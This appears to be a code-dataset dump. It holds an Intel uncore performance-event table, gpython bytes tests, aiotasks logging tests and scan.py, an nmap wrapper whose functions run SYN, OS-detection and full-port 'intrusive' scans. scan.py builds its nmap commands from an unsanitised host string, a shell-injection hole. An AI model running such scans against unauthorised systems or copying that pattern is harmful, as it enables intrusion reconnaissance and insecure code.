"CBO.PCI_WRITES": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of PCI writes",
"Desc": "PCI Writes",
"Equation": "TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER0.tid=0x3E,Cn_MSR_PMON_BOX_FILTER1.opc=0x1C8}",
"Filter": "CBoFilter0[5:0], CBoFilter1[28:20]",
},
#"CBO.RING_THRU_DN_BYTES": {
# "Box": "CBO",
# "Category": "CBO RING Events",
# "Defn": "Ring throughput in the Down direction, Even polarity in Bytes",
# "Desc": "Ring Throughput Down and Even",
# "Equation": "RING_BL_USED.CCW* 32",
#},
#"CBO.RING_THRU_UP_BYTES": {
# "Box": "CBO",
# "Category": "CBO RING Events",
# "Defn": "Ring throughput in the Up direction, Even polarity in Bytes",
# "Desc": "Ring Throughput Up and Even",
# "Equation": "RING_BL_USED.CW * 32",
#},
"CBO.STREAMED_FULL_STORES": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of Streamed Store (of Full Cache Line) Transactions",
"Desc": "Streaming Stores (Full Line)",
"Equation": "TOR_INSERTS.OPCODE with:Cn_MSR_PMON_BOX_FILTER1.opc=0x18C",
"Filter": "CBoFilter1[28:20]",
},
"CBO.STREAMED_PART_STORES": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of Streamed Store (of Partial Cache Line) Transactions",
"Desc": "Streaming Stores (Partial Line)",
"Equation": "TOR_INSERTS.OPCODE with:Cn_MSR_PMON_BOX_FILTER1.opc=0x18D",
"Filter": "CBoFilter1[28:20]",
},
"CBO.UC_READS": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Uncachable Read Transactions",
"Desc": "Uncacheable Reads",
"Equation": "TOR_INSERTS.MISS_OPCODE with:Cn_MSR_PMON_BOX_FILTER1.opc=0x187",
"Filter": "CBoFilter1[28:20]",
},
# R3QPI:
# HA:
#"HA.HITME_INSERTS": {
# "Box": "HA",
# "Category": "HA HitME Events",
# "Equation": "HITME_LOOKUP.ALLOCS - HITME_HITS.ALLOCS",
#},
"HA.HITME_INVAL": {
"Box": "HA",
"Category": "HA HitME Events",
"Equation": "HITME_HIT.INVALS",
},
"HA.PCT_CYCLES_BL_FULL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Defn": "Percentage of time the BL Egress Queue is full",
"Desc": "Percent BL Egress Full",
"Equation": "TxR_BL_CYCLES_FULL.ALL / SAMPLE_INTERVAL",
},
"HA.PCT_CYCLES_D2C_DISABLED": {
"Box": "HA",
"Category": "HA DIRECT2CORE Events",
"Defn": "Percentage of time that Direct2Core was disabled.",
"Desc": "Percent D2C Disabled",
"Equation": "DIRECT2CORE_CYCLES_DISABLED / SAMPLE_INTERVAL",
},
"HA.PCT_RD_REQUESTS": {
"Box": "HA",
"Category": "HA REQUESTS Events",
"Defn": "Percentage of HA traffic that is from Read Requests",
"Desc": "Percent Read Requests",
"Equation": "REQUESTS.READS / (REQUESTS.READS + REQUESTS.WRITES)",
},
"HA.PCT_WR_REQUESTS": {
"Box": "HA",
"Category": "HA REQUESTS Events",
"Defn": "Percentage of HA traffic that is from Write Requests",
"Desc": "Percent Write Requests",
"Equation": "REQUESTS.WRITES / (REQUESTS.READS + REQUESTS.WRITES)",
},
# SBO:
#"SBO.CYC_USED_DNEVEN": {
# "Box": "SBO",
# "Category": "SBO RING Events",
# "Defn": "Cycles Used in the Down direction, Even polarity",
# "Desc": "Cycles Used Down and Even",
# "Equation": "RING_BL_USED.DN_EVEN / TOTAL_CORE_CYCLES",
#},
#"SBO.CYC_USED_DNODD": {
# "Box": "SBO",
# "Category": "SBO RING Events",
# "Defn": "Cycles Used in the Down direction, Odd polarity",
# "Desc": "Cycles Used Down and Odd",
# "Equation": "RING_BL_USED.DN_ODD / TOTAL_CORE_CYCLES",
#},
"SBO.CYC_USED_UPEVEN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Defn": "Cycles Used in the Up direction, Even polarity",
"Desc": "Cycles Used Up and Even",
"Equation": "RING_BL_USED.UP_EVEN / TOTAL_CORE_CYCLES",
},
"SBO.CYC_USED_UPODD": {
"Box": "SBO",
"Category": "SBO RING Events",
"Defn": "Cycles Used in the Up direction, Odd polarity",
"Desc": "Cycles Used Up and Odd",
"Equation": "RING_BL_USED.UP_ODD / TOTAL_CORE_CYCLES",
},
#"SBO.RING_THRU_DNEVEN_BYTES": {
# "Box": "SBO",
# "Category": "SBO RING Events",
# "Defn": "Ring throughput in the Down direction, Even polarity in Bytes",
# "Desc": "Ring Throughput Down and Even",
# "Equation": "RING_BL_USED.DN_EVEN * 32",
#},
#"SBO.RING_THRU_DNODD_BYTES": {
# "Box": "SBO",
# "Category": "SBO RING Events",
# "Defn": "Ring throughput in the Down direction, Odd polarity in Bytes",
# "Desc": "Ring Throughput Down and Odd",
# "Equation": "RING_BL_USED.DN_ODD * 32",
#},
"SBO.RING_THRU_UPEVEN_BYTES": {
"Box": "SBO",
"Category": "SBO RING Events",
"Defn": "Ring throughput in the Up direction, Even polarity in Bytes",
"Desc": "Ring Throughput Up and Even",
"Equation": "RING_BL_USED.UP_EVEN * 32",
},
"SBO.RING_THRU_UPODD_BYTES": {
"Box": "SBO",
"Category": "SBO RING Events",
"Defn": "Ring throughput in the Up direction, Odd polarity in Bytes",
"Desc": "Ring Throughput Up and Odd",
"Equation": "RING_BL_USED.UP_ODD * 32",
},
# iMC:
"iMC.MEM_BW_READS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Defn": "Memory bandwidth consumed by reads. Expressed in bytes.",
"Desc": "Read Memory Bandwidth",
"Equation": "(CAS_COUNT.RD * 64)",
},
"iMC.MEM_BW_TOTAL": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Defn": "Total memory bandwidth. Expressed in bytes.",
"Desc": "Total Memory Bandwidth",
"Equation": "MEM_BW_READS + MEM_BW_WRITES",
},
"iMC.MEM_BW_WRITES": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Defn": "Memory bandwidth consumed by writes Expressed in bytes.",
"Desc": "Write Memory Bandwidth",
"Equation": "(CAS_COUNT.WR * 64)",
},
"iMC.PCT_CYCLES_CRITICAL_THROTTLE": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Defn": "The percentage of cycles all DRAM ranks in critical thermal throttling",
"Desc": "Percent Cycles Critical Throttle",
"Equation": "POWER_CRITICAL_THROTTLE_CYCLES / MC_Chy_PCI_PMON_CTR_FIXED",
},
"iMC.PCT_CYCLES_DLLOFF": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Defn": "The percentage of cycles all DRAM ranks in CKE slow (DLOFF) mode",
"Desc": "Percent Cycles DLOFF",
"Equation": "POWER_CHANNEL_DLLOFF / MC_Chy_PCI_PMON_CTR_FIXED",
},
"iMC.PCT_CYCLES_DRAM_RANKx_IN_CKE": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Defn": "The percentage of cycles DRAM rank (x) spent in CKE ON mode.",
"Desc": "Percent Cycles DRAM Rank x in CKE",
"Equation": "POWER_CKE_CYCLES.RANKx / MC_Chy_PCI_PMON_CTR_FIXED",
},
"iMC.PCT_CYCLES_DRAM_RANKx_IN_THR": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Defn": "The percentage of cycles DRAM rank (x) spent in thermal throttling.",
"Desc": "Percent Cycles DRAM Rank x in CKE",
"Equation": "POWER_THROTTLE_CYCLES.RANKx / MC_Chy_PCI_PMON_CTR_FIXED",
},
"iMC.PCT_CYCLES_PPD": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Defn": "The percentage of cycles all DRAM ranks in PPD mode",
"Desc": "Percent Cycles PPD",
"Equation": "POWER_CHANNEL_PPD / MC_Chy_PCI_PMON_CTR_FIXED",
},
"iMC.PCT_CYCLES_SELF_REFRESH": {
"Box": "iMC",
"Category": "iMC POWER Events",
"Defn": "The percentage of cycles Memory is in self refresh power mode",
"Desc": "Percent Cycles Self Refresh",
"Equation": "POWER_SELF_REFRESH / MC_Chy_PCI_PMON_CTR_FIXED",
},
# "iMC.PCT_RD_REQUESTS": {
# "Box": "iMC",
# "Category": "iMC RPQ Events",
# "Defn": "Percentage of read requests from total requests.",
# "Desc": "Percent Read Requests",
# "Equation": "RPQ_INSERTS / (RPQ_INSERTS + WPQ_INSERTS)",
# },
"iMC.PCT_REQUESTS_PAGE_EMPTY": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Defn": "Percentage of memory requests that resulted in Page Empty",
"Desc": "Percent Requests Page Empty",
"Equation": "(ACT_COUNT - PRE_COUNT.PAGE_MISS)/ (CAS_COUNT.RD + CAS_COUNT.WR)",
},
"iMC.PCT_REQUESTS_PAGE_HIT": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Defn": "Percentage of memory requests that resulted in Page Hits",
"Desc": "Percent Requests Page Hit",
"Equation": "1 - (PCT_REQUESTS_PAGE_EMPTY + PCT_REQUESTS_PAGE_MISS)",
},
"iMC.PCT_REQUESTS_PAGE_MISS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Defn": "Percentage of memory requests that resulted in Page Misses",
"Desc": "Percent Requests Page Miss",
"Equation": "PRE_COUNT.PAGE_MISS / (CAS_COUNT.RD + CAS_COUNT.WR)",
},
#"iMC.PCT_WR_REQUESTS": {
# "Box": "iMC",
# "Category": "iMC WPQ Events",
# "Defn": "Percentage of write requests from total requests.",
# "Desc": "Percent Write Requests",
# "Equation": "WPQ_INSERTS / (RPQ_INSERTS + WPQ_INSERTS)",
#},
}
categories = (
"CBO CACHE Events",
"CBO EGRESS Events",
"CBO INGRESS Events",
"CBO INGRESS_RETRY Events",
"CBO MISC Events",
"CBO OCCUPANCY Events",
"CBO RING Events",
"CBO SBO Credit Events",
"CBO TOR Events",
"CBO UCLK Events",
"HA ADDR_OPCODE_MATCH Events",
"HA BL_EGRESS Events",
"HA BT (Backup Tracker) Events",
"HA BYPASS Events",
"HA CONFLICTS Events",
"HA DIRECT2CORE Events",
"HA DIRECTORY Events",
"HA EGRESS Events",
"HA HitME Events",
"HA IMC_MISC Events",
"HA IMC_READS Events",
"HA IMC_WRITES Events",
"HA OSB (Opportunistic Snoop Broadcast) Events",
"HA OUTBOUND_TX Events",
"HA QPI_IGR_CREDITS Events",
"HA REQUESTS Events",
"HA RING Events",
"HA RPQ_CREDITS Events",
"HA SBO Credit Events",
"HA SNOOPS Events",
"HA SNP_RESP Events",
"HA TAD Events",
"HA TRACKER Events",
"HA UCLK Events",
"HA WPQ_CREDITS Events",
"IRP AK_INGRESS Events",
"IRP BL_INGRESS_DRS Events",
"IRP BL_INGRESS_NCB Events",
"IRP BL_INGRESS_NCS Events",
"IRP Coherency Events",
"IRP IO_CLKS Events",
"IRP MISC Events",
"IRP OUTBOUND_REQUESTS Events",
"IRP STALL_CYCLES Events",
"IRP TRANSACTIONS Events",
"IRP WRITE_CACHE Events",
"PCU CORE_C_STATE_TRANSITION Events",
"PCU FREQ_MAX_LIMIT Events",
"PCU FREQ_MIN_LIMIT Events",
"PCU FREQ_RESIDENCY Events",
"PCU FREQ_TRANS Events",
"PCU MEMORY_PHASE_SHEDDING Events",
"PCU PCLK Events",
"PCU PKG_C_STATE_RESIDENCY Events",
"PCU POWER_STATE_OCC Events",
"PCU PROCHOT Events",
"PCU VR_HOT Events",
"QPI_LL CFCLK Events",
"QPI_LL CTO Events",
"QPI_LL DIRECT2CORE Events",
"QPI_LL FLITS_RX Events",
"QPI_LL FLITS_TX Events",
"QPI_LL POWER Events",
"QPI_LL POWER_RX Events",
"QPI_LL POWER_TX Events",
"QPI_LL R3QPI_EGRESS_CREDITS Events",
"QPI_LL RXQ Events",
"QPI_LL RX_CREDITS_CONSUMED Events",
"QPI_LL TXQ Events",
"QPI_LL VNA_CREDIT_RETURN Events",
"R2PCIe EGRESS Events",
"R2PCIe IIO Credit Events",
"R2PCIe INGRESS Events",
"R2PCIe RING Events",
"R2PCIe SBO Credit Events",
"R2PCIe UCLK Events",
"R3QPI EGRESS Credit Events",
"R3QPI EGRESS Events",
"R3QPI INGRESS Events",
"R3QPI LINK_VN0_CREDITS Events",
"R3QPI LINK_VN1_CREDITS Events",
"R3QPI LINK_VNA_CREDITS Events",
"R3QPI RING Events",
"R3QPI SBO Credit Events",
"R3QPI UCLK Events",
"SBO EGRESS Events",
"SBO INGRESS Events",
"SBO RING Events",
"SBO UCLK Events",
"UBOX EVENT_MSG Events",
"UBOX PHOLD Events",
"UBOX RACU Events",
"iMC ACT Events",
"iMC BYPASS Command Events",
"iMC CAS Events",
"iMC DCLK Events",
"iMC DRAM_PRE_ALL Events",
"iMC DRAM_REFRESH Events",
"iMC ECC Events",
"iMC MAJOR_MODES Events",
"iMC POWER Events",
"iMC PRE Events",
"iMC PREEMPTION Events",
"iMC RPQ Events",
"iMC VMSE Events",
"iMC WPQ Events",
);
| 51.879127
| 1,159
| 0.581719
| 95,878
| 722,780
| 4.324089
| 0.016521
| 0.044676
| 0.047831
| 0.039519
| 0.94762
| 0.932615
| 0.913362
| 0.905928
| 0.90066
| 0.895305
| 0
| 0.031788
| 0.299401
| 722,780
| 13,931
| 1,160
| 51.882851
| 0.786936
| 0.004458
| 0
| 0.756718
| 0
| 0.077714
| 0.682339
| 0.051907
| 0
| 0
| 0.000963
| 0
| 0.000724
| 1
| 0
| false
| 0.017527
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
fab61d9c62a26aff4b1180227c6e961fc040bb5b
| 3,613
|
py
|
Python
|
py/tests/bytes.py
|
fuz-woo/gpython
|
06dadad26f41e35b57c144ffdac01fb3f23977e9
|
[
"BSD-3-Clause"
] | 520
|
2018-08-21T19:28:23.000Z
|
2022-03-30T21:26:10.000Z
|
py/tests/bytes.py
|
fuz-woo/gpython
|
06dadad26f41e35b57c144ffdac01fb3f23977e9
|
[
"BSD-3-Clause"
] | 165
|
2018-08-22T07:54:29.000Z
|
2022-03-31T20:34:21.000Z
|
py/tests/bytes.py
|
fuz-woo/gpython
|
06dadad26f41e35b57c144ffdac01fb3f23977e9
|
[
"BSD-3-Clause"
] | 84
|
2018-08-27T03:29:09.000Z
|
2022-03-15T23:19:13.000Z
|
# Copyright 2018 The go-python Authors. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
doc="str"
assert str(b"") == "b''"
assert str(b"hello") == r"b'hello'"
assert str(rb"""hel"lo""") == r"""b'hel"lo'"""
assert str(b"""he
llo""") == r"""b'he\nllo'"""
assert str(rb"""hel'lo""") == r'''b"hel'lo"'''
assert str(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff') == r"""b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'"""
doc="repr"
assert repr(b"") == "b''"
assert repr(b"hello") == r"b'hello'"
assert repr(rb"""hel"lo""") == r"""b'hel"lo'"""
assert repr(b"""he
llo""") == r"""b'he\nllo'"""
assert repr(rb"""hel'lo""") == r'''b"hel'lo"'''
assert repr(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff') == r"""b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'"""
doc="finished"
| 150.541667
| 1,500
| 0.703847
| 777
| 3,613
| 3.267696
| 0.261261
| 0.007877
| 0.015754
| 0.012603
| 0.927137
| 0.927137
| 0.916896
| 0.916896
| 0.906656
| 0.906656
| 0
| 0.195344
| 0.025187
| 3,613
| 23
| 1,501
| 157.086957
| 0.525554
| 0.043454
| 0
| 0.117647
| 0
| 0.235294
| 0.475377
| 0.424681
| 0
| 1
| 0
| 0
| 0.705882
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
fad77e9b09431efcff5f4b20f5c77c36e00230cb
| 2,408
|
py
|
Python
|
scan.py
|
PapaDoraemon/marina-AI
|
9f9281b5decf889a55d6c1bdbfe3a62adadd47f9
|
[
"Apache-2.0"
] | 1
|
2020-09-04T12:42:54.000Z
|
2020-09-04T12:42:54.000Z
|
scan.py
|
PapaDoraemon/marina-AI
|
9f9281b5decf889a55d6c1bdbfe3a62adadd47f9
|
[
"Apache-2.0"
] | null | null | null |
scan.py
|
PapaDoraemon/marina-AI
|
9f9281b5decf889a55d6c1bdbfe3a62adadd47f9
|
[
"Apache-2.0"
] | null | null | null |
import subprocess
def scan_passive(host):
ports_list = []
services_list = []
stdoutdata = subprocess.getoutput("nmap -sS -T2 {} --open | grep \"open\"".format(host))
str=stdoutdata.splitlines()
for line in str:
line = line.split()
services_list.append(line[2])
return ports_list, services_list
def scan_low(host):
ports_list = []
services_list = []
device_type = ""
stdoutdata = subprocess.getoutput("nmap -sS -O {} --open".format(host))
str=stdoutdata.splitlines()
for line in str:
if "open" in line:
line = line.split()
try:
ports_list.append(int(line[0].split("/")[0]))
services_list.append(line[2])
except:
None
if "Device type:" in line:
line = line.split("Device type:")
device_type=line[1].split()[0]
return ports_list, device_type, services_list
def scan_high(host):
ports_list = []
services_list = []
device_type = ""
stdoutdata = subprocess.getoutput("nmap -sS -sV -O --top-ports 10000 {} --open".format(host))
str=stdoutdata.splitlines()
for line in str:
if "open" in line:
try:
services_list.append(line.split(" ")[len(line.split(" "))-1])
except:
None
line = line.split()
try:
ports_list.append(int(line[0].split("/")[0]))
except:
None
if "Device type:" in line:
line = line.split("Device type:")
device_type=line[1].split()[0]
return ports_list, device_type, services_list
def scan_intrusive(host):
ports_list = []
services_list = []
device_type = ""
stdoutdata = subprocess.getoutput("nmap -sS -sV -O -p- {} --open".format(host))
str=stdoutdata.splitlines()
for line in str:
if "open" in line:
try:
services_list.append(line.split(" ")[len(line.split(" "))-1])
except:
None
line = line.split()
try:
ports_list.append(int(line[0].split("/")[0]))
except:
None
if "Device type:" in line:
line = line.split("Device type:")
device_type=line[1].split()[0]
return ports_list, device_type, services_list
| 28.666667
| 97
| 0.535714
| 277
| 2,408
| 4.527076
| 0.158845
| 0.119617
| 0.072568
| 0.083732
| 0.905901
| 0.821372
| 0.821372
| 0.821372
| 0.821372
| 0.821372
| 0
| 0.013605
| 0.328488
| 2,408
| 83
| 98
| 29.012048
| 0.761905
| 0
| 0
| 0.857143
| 0
| 0
| 0.090947
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.057143
| false
| 0.014286
| 0.014286
| 0
| 0.128571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
878266b649bd9231dbd71ca822f1b612e390f32d
| 1,947
|
py
|
Python
|
tests/unittesting/actions/default/helpers/test_run_with_exceptions_and_logs.py
|
shepilov-vladislav/aiotasks
|
be888895b6509d062ee4e1564b7eec05477f5a7d
|
[
"BSD-3-Clause"
] | 462
|
2017-03-28T08:01:28.000Z
|
2022-03-17T19:13:55.000Z
|
tests/unittesting/actions/default/helpers/test_run_with_exceptions_and_logs.py
|
shepilov-vladislav/aiotasks
|
be888895b6509d062ee4e1564b7eec05477f5a7d
|
[
"BSD-3-Clause"
] | 12
|
2017-04-02T10:20:57.000Z
|
2020-10-06T12:18:55.000Z
|
tests/unittesting/actions/default/helpers/test_run_with_exceptions_and_logs.py
|
shepilov-vladislav/aiotasks
|
be888895b6509d062ee4e1564b7eec05477f5a7d
|
[
"BSD-3-Clause"
] | 51
|
2017-03-31T17:43:34.000Z
|
2022-03-31T13:42:35.000Z
|
import logging
from aiotasks import run_with_exceptions_and_logs, SharedConfig
def test_run_with_exceptions_and_logs_oks(monkeypatch):
logger = logging.getLogger("aiotasks")
class CustomLogger(logging.StreamHandler):
def __init__(self):
super(CustomLogger, self).__init__()
self.content = []
def emit(self, record):
self.content.append(record.msg)
custom = CustomLogger()
logger.addHandler(custom)
run_with_exceptions_and_logs(lambda x: x, 0)
assert "Starting aioTasks" in custom.content
def test_run_with_exceptions_and_logs_exception_raised(monkeypatch):
def raise_exception(x):
raise Exception()
monkeypatch.setattr(
"aiotasks.actions.worker.console.find_manager",
raise_exception)
logger = logging.getLogger("aiotasks")
class CustomLogger(logging.StreamHandler):
def __init__(self):
super(CustomLogger, self).__init__()
self.content = []
def emit(self, record):
self.content.append(record.msg)
custom = CustomLogger()
logger.addHandler(custom)
run_with_exceptions_and_logs(raise_exception, 0)
assert "[!] Unhandled exception: " in custom.content
def test_run_with_exceptions_and_logs_ctrl_plus_c_raised(monkeypatch):
def raise_exception(x):
raise KeyboardInterrupt()
monkeypatch.setattr(
"aiotasks.actions.worker.console.find_manager",
raise_exception)
logger = logging.getLogger("aiotasks")
class CustomLogger(logging.StreamHandler):
def __init__(self):
super(CustomLogger, self).__init__()
self.content = []
def emit(self, record):
self.content.append(record.msg)
custom = CustomLogger()
logger.addHandler(custom)
run_with_exceptions_and_logs(raise_exception, 1)
assert "[*] CTRL+C caught. Exiting..." in custom.content
| 24.961538
| 70
| 0.681561
| 212
| 1,947
| 5.929245
| 0.245283
| 0.038982
| 0.09467
| 0.111376
| 0.843278
| 0.824185
| 0.824185
| 0.735879
| 0.735879
| 0.735879
| 0
| 0.001984
| 0.223421
| 1,947
| 77
| 71
| 25.285714
| 0.829365
| 0
| 0
| 0.729167
| 0
| 0
| 0.093991
| 0.045198
| 0
| 0
| 0
| 0
| 0.0625
| 1
| 0.229167
| false
| 0
| 0.041667
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.